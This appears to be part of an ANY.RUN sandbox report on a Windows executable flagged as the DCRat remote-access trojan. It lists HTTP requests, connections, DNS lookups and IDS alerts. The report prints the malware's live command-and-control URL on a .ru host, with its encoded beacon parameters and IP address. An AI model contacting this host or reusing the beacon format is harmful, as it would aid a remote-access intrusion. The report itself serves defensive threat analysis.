fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe
GET
200
141.8.192.103:80
http://a0992844.xsph.ru/L1nc0In.php?8dUS8RqlKjwyW8v8XOe=H30YTHgmOAoYNvu&23e63400e973094661d00abb91ee383c=gY0IGZ1EDNxkDN0YmNilDOyUWO1M2MhdTM1IWY4ETNxYWMmdjM1QWN0YTO4YDNyMDMyQjMwETM&85f4c5a30df1adc7f9a53a07f235a274=wN2kDNmBTN2czY5cTO1ETOkBTZlNzM5IzM3ATYxgTMhFjY3kDNyQDZ&96fd5cbb193cb580254189392e4c39c1=d1nIzMzNwcjYmdTMkVGMiNTN4UDN1MGZ2UDN2EGMwMmM3gzM3EmMlFWNxIiOiUzMyUzNjVjN2IjZ2gDM5MGMzIGMkZGOwczNxYzMzAzNiwiI2gjYmVWNwMzNzcjZiRDOkJGM5ATZkNjN3YjMmRzY2kTY4E2NxkTNiJiOiImYjJTO2UTZ4MmYyUjYmFjYiJGN3AjZjVWMjhTN1MjZis3W&20621311360bf783adb08c3b64c5c7c0=d1nIiojIwMGNkRGNhFmNxEjZmNWO1I2NkJTMmJTY0MTNxQTY5ImIsIyMzcDM3ImZ3EDZlBjYzUDO1QTNjRmN1QjNhBDMjJzN4MzNhJTZhVTMiojI1MjM1czY1YjNyYmN4ATOjBzMiBDZmhDM3cTM2MzMwcjIsIiN4ImZlVDMzczM3YmY0gDZiBTOwUGZzYzN2IjZ0MmN5EGOhdTM5UjYiojIiJ2YykjN1UGOjJmM1ImZxImYiRzNwY2YlFzY4UTNzYmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlWS2kUekZnUtJGckZkVEZ0aJNXSpRVavpWS0ZkMZlmVyYles1WSzl0UXl2bqlEb1IjYvJ0MilnTXFmTOhVYpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMRl2dplEc0IDZ2VjMhVnVGt0Z0IDZ2VjMhVnVslkNJNlW0ZUbUZlQxIVa3lWSPpUaPlGNXFGdSdVU6xWbJNXSplkNJlnUCJFbJNXSDRGcKVUSwkFRJxmTYFWeC52YsJlbiZkQD1EeBl3YzkzRaVHbyYVavpWS5ZVbWVHbyYVa3NlZpRzVhNnSYp1Q5MlW3lTbjFjVrlkNJNlW1lTblxWMXFGMKNETpFERNdXQE10dJl2Tpd3VZBjTzI2dKNETptmbihWMtNGbkVUS0F0QaxGbtpFcOdlW35ESJBTOtRVavpWSup0Mil2dplUNZRUTwQTeNh3dp5UNFRlT1lEVOl2bqlka5ckYpdXaJZkUrlkNJNVZ5JlbiFTOykVa3lWS1x2RilnVtF1ZR1mYoh3aJZTSpJmdsJjWspkbJNXSpJGc412Ysp0aJZTSTVGMsJTWpdXaJFTQU1UdNpnT4RzQOhXSqxEenRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS1x2VitmRtlkNJNlW0ZUbUlnVyMmVKNETpFVRUtEeFRFSwVFTRlTRWxkTWJVRKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiAzY0QGZ0EWY2ETMmZ2Y5UjY3QmMxYmMhRzM1EDNhljYiwiIkJGMidDN3ITYkNzN0ATNxIWZxUjMjhDZlRGMjdjMzcTZjFGNxMGZlJiOiUzMyUzNjVjN2IjZ2gDM5MGMzIGMkZGOwczNxYzMzAzNiwiI2gjYmVWNwMzNzcjZiRDOkJGM5ATZkNjN3YjMmRzY2kTY4E2NxkTNiJiOiImYjJTO2UTZ4MmYyUjYmFjYiJGN3AjZjVWMjhTN1MjZis3W
unknown
—
—
unknown
5620
fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe
GET
200
141.8.192.103:80
http://a0992844.xsph.ru/L1nc0In.php?8dUS8RqlKjwyW8v8XOe=H30YTHgmOAoYNvu&23e63400e973094661d00abb91ee383c=gY0IGZ1EDNxkDN0YmNilDOyUWO1M2MhdTM1IWY4ETNxYWMmdjM1QWN0YTO4YDNyMDMyQjMwETM&85f4c5a30df1adc7f9a53a07f235a274=wN2kDNmBTN2czY5cTO1ETOkBTZlNzM5IzM3ATYxgTMhFjY3kDNyQDZ&96fd5cbb193cb580254189392e4c39c1=d1nIzMzNwcjYmdTMkVGMiNTN4UDN1MGZ2UDN2EGMwMmM3gzM3EmMlFWNxIiOiUzMyUzNjVjN2IjZ2gDM5MGMzIGMkZGOwczNxYzMzAzNiwiI2gjYmVWNwMzNzcjZiRDOkJGM5ATZkNjN3YjMmRzY2kTY4E2NxkTNiJiOiImYjJTO2UTZ4MmYyUjYmFjYiJGN3AjZjVWMjhTN1MjZis3W&20621311360bf783adb08c3b64c5c7c0=d1nIiojIwMGNkRGNhFmNxEjZmNWO1I2NkJTMmJTY0MTNxQTY5ImIsIyMzcDM3ImZ3EDZlBjYzUDO1QTNjRmN1QjNhBDMjJzN4MzNhJTZhVTMiojI1MjM1czY1YjNyYmN4ATOjBzMiBDZmhDM3cTM2MzMwcjIsIiN4ImZlVDMzczM3YmY0gDZiBTOwUGZzYzN2IjZ0MmN5EGOhdTM5UjYiojIiJ2YykjN1UGOjJmM1ImZxImYiRzNwY2YlFzY4UTNzYmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlWS2kUekZnUtJGckZkVEZ0aJNXSpRVavpWS0ZkMZlmVyYles1WSzl0UXl2bqlEb1IjYvJ0MilnTXFmTOhVYpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMRl2dplEc0IDZ2VjMhVnVGt0Z0IDZ2VjMhVnVslkNJNlW0ZUbUZlQxIVa3lWSPpUaPlGNXFGdSdVU6xWbJNXSplkNJlnUCJFbJNXSDRGcKVUSwkFRJxmTYFWeC52YsJlbiZkQD1EeBl3YzkzRaVHbyYVavpWS5ZVbWVHbyYVa3NlZpRzVhNnSYp1Q5MlW3lTbjFjVrlkNJNlW1lTblxWMXFGMKNETpFERNdXQE10dJl2Tpd3VZBjTzI2dKNETptmbihWMtNGbkVUS0F0QaxGbtpFcOdlW35ESJBTOtRVavpWSup0Mil2dplUNZRUTwQTeNh3dp5UNFRlT1lEVOl2bqlka5ckYpdXaJZkUrlkNJNVZ5JlbiFTOykVa3lWS1x2RilnVtF1ZR1mYoh3aJZTSpJmdsJjWspkbJNXSpJGc412Ysp0aJZTSTVGMsJTWpdXaJFTQU1UdNpnT4RzQOhXSqxEenRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS1x2VitmRtlkNJNlW0ZUbUlnVyMmVKNETpFVRUtEeFRFSwVFTRlTRWxkTWJVRKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiAzY0QGZ0EWY2ETMmZ2Y5UjY3QmMxYmMhRzM1EDNhljYiwiIkJGMidDN3ITYkNzN0ATNxIWZxUjMjhDZlRGMjdjMzcTZjFGNxMGZlJiOiUzMyUzNjVjN2IjZ2gDM5MGMzIGMkZGOwczNxYzMzAzNiwiI2gjYmVWNwMzNzcjZiRDOkJGM5ATZkNjN3YjMmRzY2kTY4E2NxkTNiJiOiImYjJTO2UTZ4MmYyUjYmFjYiJGN3AjZjVWMjhTN1MjZis3W
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2384
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5140
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4364
svchost.exe
239.255.255.250:1900
—
—
—
unknown
6352
fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe
141.8.192.103:80
a0992844.xsph.ru
Sprinthost.ru LLC
RU
unknown
5548
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5548
svchost.exe
2.16.2.82:80
crl.microsoft.com
Akamai International B.V.
CZ
whitelisted
5548
svchost.exe
23.61.152.46:80
www.microsoft.com
AKAMAI-AS
BR
unknown
4680
SearchApp.exe
23.212.110.161:443
www.bing.com
Akamai International B.V.
CZ
unknown
4680
SearchApp.exe
23.212.110.162:443
www.bing.com
Akamai International B.V.
CZ
unknown

DNS requests

Domain
IP
Reputation
a0992844.xsph.ru
  • 141.8.192.103
unknown
settings-win.data.microsoft.com
  • 51.104.136.2
whitelisted
crl.microsoft.com
  • 2.16.2.82
  • 2.16.2.24
whitelisted
www.microsoft.com
  • 23.61.152.46
whitelisted
www.bing.com
  • 23.212.110.161
  • 23.212.110.177
  • 23.212.110.162
  • 23.212.110.168
  • 23.212.110.171
  • 23.212.110.163
  • 23.212.110.176
  • 23.212.110.170
  • 23.212.110.178
whitelisted
r.bing.com
  • 23.212.110.162
  • 23.212.110.161
  • 23.212.110.170
  • 23.212.110.177
  • 23.212.110.168
  • 23.212.110.171
  • 23.212.110.163
  • 23.212.110.176
  • 23.212.110.178
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
login.live.com
  • 40.126.32.140
  • 20.190.160.14
  • 40.126.32.74
  • 40.126.32.136
  • 20.190.160.17
  • 20.190.160.22
  • 40.126.32.76
  • 40.126.32.134
whitelisted
go.microsoft.com
  • 23.61.142.72
whitelisted
pastebin.com
  • 172.67.19.24
  • 104.20.4.235
  • 104.20.3.235
shared

Threats

PID
Process
Class
Message
2184
svchost.exe
Misc activity
ET INFO Observed DNS Query to xsph .ru Domain
6352
fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
6352
fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe
A Network Trojan was detected
ET USER_AGENTS Suspicious User-Agent (AutoHotkey)
5620
fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
fe97c8c1e0a639e51fe0fa1d9aa863067b19b37d10d78d5bcf7d2b1d69550708.exe